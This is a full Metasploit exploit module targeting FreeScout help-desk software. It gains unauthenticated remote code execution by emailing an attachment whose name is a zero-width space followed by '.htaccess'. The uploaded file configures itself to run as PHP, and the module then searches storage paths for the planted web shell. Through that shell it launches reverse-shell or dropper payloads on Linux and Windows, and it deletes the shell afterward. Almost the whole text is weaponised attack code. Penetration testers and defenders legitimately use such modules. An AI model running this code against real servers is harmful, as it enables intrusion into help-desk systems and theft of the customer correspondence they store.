FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SMTPDeliver prepend Msf::Exploit::Remote::AutoCheck ZWSP = "\u200B".encode('UTF-8').freeze HTACCESS_BODY = <<~HTACCESS.freeze <Files ".htaccess"> Require all granted SetHandler application/x-httpd-php </Files> HTACCESS def initialize(info = {}) super( update_info( info, 'Name' => 'FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in FreeScout <= 1.8.206 (CVE-2026-28289). The sanitizeUploadedFileName() function checks for dot-prefixed filenames before stripping Unicode format characters (ZWSP U+200B), allowing .htaccess upload via email attachment. A crafted email is sent via SMTP to a FreeScout mailbox. When fetched by the IMAP/POP3 cron (typically every 60s), the ZWSP is stripped and the attachment is stored as .htaccess. The file uses SetHandler to make itself executable as PHP, achieving code execution when requested via HTTP. Requires a valid mailbox email address and web-accessible attachment storage (storage:link pointing to storage/app/). }, 'Author' => [ 'offensiveee', # CVE-2026-27636 discovery 'Nir Zadok (nirzadokox) <OX Security>', # CVE-2026-28289 discovery 'Moses Bhardwaj (MosesOX) <OX Security>', # CVE-2026-28289 discovery 'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-28289'], ['CVE', '2026-27636'], ['GHSA', '5gpc-65p8-ffwp', 'freescout-help-desk/freescout'], ['GHSA', 'mw88-x7j3-74vc', 'freescout-help-desk/freescout'], ['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-28289/'], ['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-27636/'] ], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :cmd # tested with cmd/unix/reverse_bash } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper # tested with linux/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :cmd # tested with cmd/windows/reverse_powershell } ], [ 'Windows Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper # tested with windows/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2026-03-01', 'Notes' => { 'AKA' => ['Mail2Shell'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to FreeScout', '/']), OptAddress.new('HTTPHOST', [true, 'FreeScout web server address']), OptPort.new('HTTPPORT', [true, 'FreeScout web server port', 80]) ]) # Override SMTPDeliver's SUBJECT with a default (random if blank) deregister_options('SUBJECT') register_advanced_options([ OptString.new('SUBJECT', [false, 'Email subject (random if blank)', '']), OptInt.new('FETCH_WAIT', [true, 'Seconds to wait for cron fetch cycle', 60]), OptInt.new('DIR_COUNTER', [true, 'Max attachment counter per directory', 3]) ]) end def check res = http_send('uri' => normalize_uri(target_uri.path, 'login')) return CheckCode::Unknown('Could not connect to the target.') unless res return CheckCode::Safe('Target does not appear to be FreeScout.') unless res.body.to_s.match?(/[Ff]ree[Ss]cout/) CheckCode::Detected('FreeScout detected. Version cannot be determined remotely.') end def exploit marker = Rex::Text.rand_text_alphanumeric(16) @param = Rex::Text.rand_text_alpha(4) @cleanup_param = Rex::Text.rand_text_alpha(4) print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}") send_message(build_email(marker)) print_good('Exploit email sent') wait_for_cron @shell_uri = find_shell(marker) fail_with(Failure::NotFound, 'Shell not found after two cron cycles.') unless @shell_uri print_good("Shell at #{@shell_uri}") case target['Type'] when :php then http_send('method' => 'POST', 'uri' => @shell_uri, 'timeout' => 1) when :cmd then execute_command(payload.encoded) when :dropper then execute_cmdstager(background: true) end end def cleanup super return unless @shell_uri http_send( 'method' => 'POST', 'uri' => @shell_uri, 'vars_post' => { @cleanup_param => '1' }, 'timeout' => 5 ) end # The marker is embedded in the .htaccess so we can identify ours among # pre-existing ones from prior exploits and avoid triggering the wrong shell. def build_email(marker) gate = "if($_SERVER['REQUEST_METHOD']!=='POST'){die();}if(isset($_POST['#{@cleanup_param}'])){@unlink(__FILE__);die();}" if target['Type'] == :php exec = payload.encoded else vars = Rex::RandomIdentifier::Generator.new(language: :php) preamble = php_preamble(vars_generator: vars).gsub(/\s*\n\s*/, '') decode = "#{vars[:cmd_varname]}=base64_decode($_POST[\"#{@param}\"]);" sysblock = php_system_block(vars_generator: vars).gsub(/\s*\n\s*/, '') exec = preamble + decode + sysblock end php_code = gate + exec mime = Rex::MIME::Message.new mime.mime_defaults mime.header.set('Subject', datastore['SUBJECT'].present? ? datastore['SUBJECT'] : Rex::Text.rand_text_alpha(8..16)) mime.header.set('From', datastore['MAILFROM']) mime.header.set('To', datastore['MAILTO']) mime.header.set('Message-ID', "<#{Rex::Text.rand_text_alphanumeric(24)}@#{Rex::Text.rand_text_alpha(8)}>") mime.add_part(Rex::Text.rand_text_alpha(20..60), 'text/plain; charset=us-ascii', 'quoted-printable') raw = "#{HTACCESS_BODY}# #{marker} <?php #{php_code} ?>\n" mime.add_part([raw].pack('m'), 'application/octet-stream', 'base64', "attachment; filename=\"#{ZWSP}.htaccess\"") mime.to_s end def wait_for_cron fetch = datastore['FETCH_WAIT'] wait = fetch + 10 res = http_send('uri' => normalize_uri(target_uri.path)) if res&.headers&.[]('Date') elapsed = Time.parse(res.headers['Date']).to_i % fetch wait = (fetch - elapsed) + 10 end print_status("Waiting #{wait}s for next cron fetch cycle...") Rex.sleep(wait) end def find_shell(marker) uri = scan_paths(marker) return uri if uri retry_wait = datastore['FETCH_WAIT'] + 5 print_status("Not found yet, waiting one more cron cycle (#{retry_wait}s)...") Rex.sleep(retry_wait) scan_paths(marker) end # FreeScout stores attachments in /storage/attachment/<d1>/<d2>/<counter>/ where # d1 and d2 are single digits (0-9) extracted from the MD5 hash of the attachment ID. # We walk the tree using redirect responses to detect existing directories, then # check each .htaccess for our marker to find the one we uploaded. def scan_paths(marker) base = normalize_uri(target_uri.path, 'storage', 'attachment') digits = ('0'..'9') dirs = digits.select { |d| dir_exists?(base, d) } pairs = dirs.flat_map { |d1| digits.select { |d2| dir_exists?("#{base}/#{d1}", d2) }.map { |d2| [d1, d2] } } paths = pairs.flat_map { |d1, d2| (1..datastore['DIR_COUNTER']).map { |c| normalize_uri(base, d1, d2, c.to_s, '.htaccess') } } paths.each do |uri| res = http_send('uri' => uri) return uri if res&.code == 200 && res.body.to_s.include?(marker) end nil end def dir_exists?(parent, child) res = http_send('uri' => "#{parent}/#{child}") res&.redirect? end def execute_command(cmd, _opts = {}) http_send( 'method' => 'POST', 'uri' => @shell_uri, 'vars_post' => { @param => Rex::Text.encode_base64(cmd) }, 'timeout' => 1 ) end # Swap RHOST/RPORT to HTTPHOST/HTTPPORT then call HttpClient's connect via # bind_call to bypass SMTPDeliver's connect override in the MRO. # This preserves full HttpClient features (SSL, proxies, basic auth, vhost). # SSL is inherited from HttpClient's datastore option. def http_send(params = {}) saved = [datastore['RHOST'], datastore['RPORT']] datastore['RHOST'] = datastore['HTTPHOST'] datastore['RPORT'] = datastore['HTTPPORT'] timeout = params.delete('timeout') || -1 cli = Msf::Exploit::Remote::HttpClient.instance_method(:connect).bind_call(self, params) res = cli.send_recv(cli.request_cgi(params), timeout) cli.close res rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED nil ensure datastore['RHOST'], datastore['RPORT'] = saved end end